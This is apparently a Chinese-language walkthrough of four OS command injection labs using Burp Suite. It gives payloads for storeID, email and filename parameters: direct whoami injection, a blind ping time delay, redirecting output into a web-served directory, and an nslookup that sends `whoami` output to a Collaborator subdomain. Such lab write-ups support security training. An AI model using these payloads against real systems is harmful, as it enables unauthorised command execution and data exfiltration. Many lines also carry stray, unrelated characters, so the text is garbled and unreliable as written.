1迹淌、whoami
實驗操作：
使用 Burp Suite 攔截并修改檢查庫存水平的請求顷牌。
修改storeID參數(shù)展父，為其指定值1|whoami返劲。
請注意，響應(yīng)包含當(dāng)前用戶的名稱栖茉。
image.png
2篮绿、||ping+-c+10+127.0.0.1||
實驗操作：
使用Burp Suite攔截并修改提交反饋的請求。
修改email參數(shù)吕漂，改為：
email=x||ping+-c+10+127.0.0.1||
請注意亲配，響應(yīng)需要 10 秒才能返回。
image.png
3惶凝、||whoami>/var/www/images/output.txt||
實驗操作：
使用Burp Suite攔截并修改提交反饋的請求吼虎。
修改email參數(shù)，改為：
email=||whoami>/var/www/images/output.txt||
現(xiàn)在使用 Burp Suite 攔截并修改加載產(chǎn)品圖像的請求苍鲜。
修改filename參數(shù)思灰，將值更改為您為注入命令的輸出指定的文件的名稱：
filename=output.txt
觀察響應(yīng)包含注入命令的輸出。
image.png
4混滔、||nslookup+`whoami`.BURP-COLLABORATOR-SUBDOMAIN||
實驗操作：
使用Burp Suite攔截并修改提交反饋的請求洒疚。
修改email參數(shù)歹颓，改為：
email=x||nslookup+x.BURP-COLLABORATOR-SUBDOMAIN||
右鍵單擊并選擇“插入 Collaborator 負載”以在修改的email參數(shù)中指示的位置插入 Burp Collaborator 子域。
image.png
image.png
